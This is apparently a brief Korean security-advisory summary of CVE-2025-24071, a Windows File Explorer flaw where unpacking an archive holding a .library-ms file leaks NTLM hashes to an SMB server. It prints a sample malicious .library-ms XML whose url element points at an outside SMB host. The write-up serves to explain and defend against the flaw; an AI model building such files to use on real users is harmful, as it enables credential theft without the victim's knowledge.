[하루한줄] CVE-2025-24071 : Windows File Explorer의 NTLM Hash Leak 취약점

URL

https://cti.monster/blog/2025/03/18/CVE-2025-24071.html

Target

  • 2025년 3월 누적 업데이트 이전 Windows

Explain

Windows File Explorer에서 .rar/.zip 파일의 압축을 해제하는 과정에서 취약점이 발생해서 NTLM Hash를 유출하는 것이 가능했습니다.

취약점은 압축 파일에 아래와 같이 <url> element에 SMB 경로를 포함하고 있는 .library-ms 확장자의 파일이 존재할 때 발생합니다.

.library-ms: Microsoft Windows 7에서 도입된 xml 형태의 시스템 파일로, Windows 탐색기 왼쪽 패널의 라이브러리 폴더 내에 하위 폴더로 표시되며 라이브러리를 열 때 찾아볼 수 있는 하나 이상의 폴더에 대한 참조가 포함되어 있습니다.

<?xml version="1.0" encoding="UTF-8"?>
<libraryDescription xmlns="http://schemas.microsoft.com/windows/2009/library">
    <searchConnectorDescriptionList>
        <searchConnectorDescription>
            <simpleLocation>
                <url>\\192.168.1.116\shared</url>
            </simpleLocation>
        </searchConnectorDescription>
    </searchConnectorDescriptionList>
</libraryDescription>

압축이 해제되면 <url> element에 저장된 SMB 경로를 메타 데이터 등을 가져오기 위해 resolve하고 이 과정에서 User Interaction 없이 NTLM Hash가 서버로 전송됩니다.

아래와 같이 PoC를 실행하면 SMB 서버에 자동적으로 NTLM 인증을 시도하면서 NTLM Hash가 전송되는 것을 확인할 수 있습니다.

출처: https://cti.monster/blog/2025/03/18/CVE-2025-24071.html

이러한 동작은 File Explorer에서 특정 포맷의 파일을 자동적으로 처리하고 .library-ms 파일의 데이터를 암묵적으로 신뢰했기 때문으로 아래처럼 ProcMon을 통해 살펴보면 파일의 압축이 해제된 후 Explorer.exe와 SearchProtocolHost.exe가 .library-ms 파일에 접근하는 것을 확인할 수 있습니다.

출처: https://cti.monster/blog/2025/03/18/CVE-2025-24071.html